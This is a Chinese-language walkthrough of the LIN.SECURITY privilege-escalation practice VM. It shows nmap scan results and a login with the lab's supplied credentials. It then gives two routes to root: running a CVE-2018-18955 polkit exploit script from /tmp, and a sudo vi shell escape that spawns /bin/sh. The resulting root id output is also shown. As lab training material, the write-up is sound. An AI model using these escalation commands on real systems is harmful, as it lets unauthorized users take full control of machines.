

# 12-LIN.SECURITY: 1

这是一台练习提权的靶机，相当简单和相当难的程度都有  
IP=10.30.13.7

## ###nmap扫描结果（进行端口和服务、系统识别）

```
nmap -A $IP -p`nmap -sS -sU -p- -PN $IP --min-rate 10000 | grep '/tcp\|/udp' | awk -F
'/' '{print $1}' | sort -u | tr '\n' ','`
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 02:13 GMT
Nmap scan report for 10.30.13.7
Host is up (0.00029s latency).

PORT      STATE  SERVICE  VERSION
22/tcp    open   ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
|   256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_  256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)
111/tcp   open   rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000   2, 3, 4      111/tcp     rpcbind
|   100000   2, 3, 4      111/udp     rpcbind
|   100000   3, 4         111/tcp6    rpcbind
|   100000   3, 4         111/udp6    rpcbind
|   100003   3            2049/udp    nfs
|   100003   3            2049/udp6   nfs
|   100003   3, 4         2049/tcp    nfs
|   100003   3, 4         2049/tcp6   nfs
|   100005   1, 2, 3      34426/udp6  mountd
|   100005   1, 2, 3      39185/tcp6  mountd
|   100005   1, 2, 3      43791/tcp   mountd
|   100005   1, 2, 3      47625/udp   mountd
|   100021   1, 3, 4      35132/udp6  nlockmgr
|   100021   1, 3, 4      39321/tcp6  nlockmgr
|   100021   1, 3, 4      40775/tcp   nlockmgr
|   100021   1, 3, 4      45924/udp   nlockmgr
|   100227   3            2049/tcp    nfs_acl
|   100227   3            2049/tcp6   nfs_acl
|   100227   3            2049/udp    nfs_acl
|_  100227   3            2049/udp6   nfs_acl
```

```
2049/tcp open  nfs      3-4 (RPC #100003)
35811/tcp open mountd   1-3 (RPC #100005)
37425/tcp open  mountd   1-3 (RPC #100005)
40775/tcp open  nlockmgr 1-4 (RPC #100021)
43791/tcp open  mountd   1-3 (RPC #100005)
45924/tcp closed unknown
47625/tcp closed unknown
50222/tcp closed unknown
60690/tcp closed unknown
MAC Address: 08:00:27:D8:9F:D6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### TRACEROUTE

```
HOP RTT      ADDRESS
1    0.29 ms 10.30.13.7
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 20.96 seconds

### ###立足点

使用作者给的凭证登录

bob/secret

### ###提权

#### 内核提权

`uname -a` *#查询内核版本，去网上搜索漏洞利用*

#### CVE-2018-18955利用

将该exp传入目标主机/tmp目录下，并赋予777权限，执行后就获得root

`chmod -R 777 polkit/`

`cd polkit/`

`./exploit.polkit.sh`

*#root*

`root@linsecurity:/tmp/polkit# whoami`

```
root
root@linsecurity:/tmp/polkit# id
uid=0(root) gid=0(root) groups=0(root),1004(bob)
```

## sudo提权

vi编辑器有sudo权限

```
bob@linsecurity:/tmp/polkit$ sudo vi -c '!/bin/sh' /dev/null
```

```
# id
uid=0(root) gid=0(root) groups=0(root)
```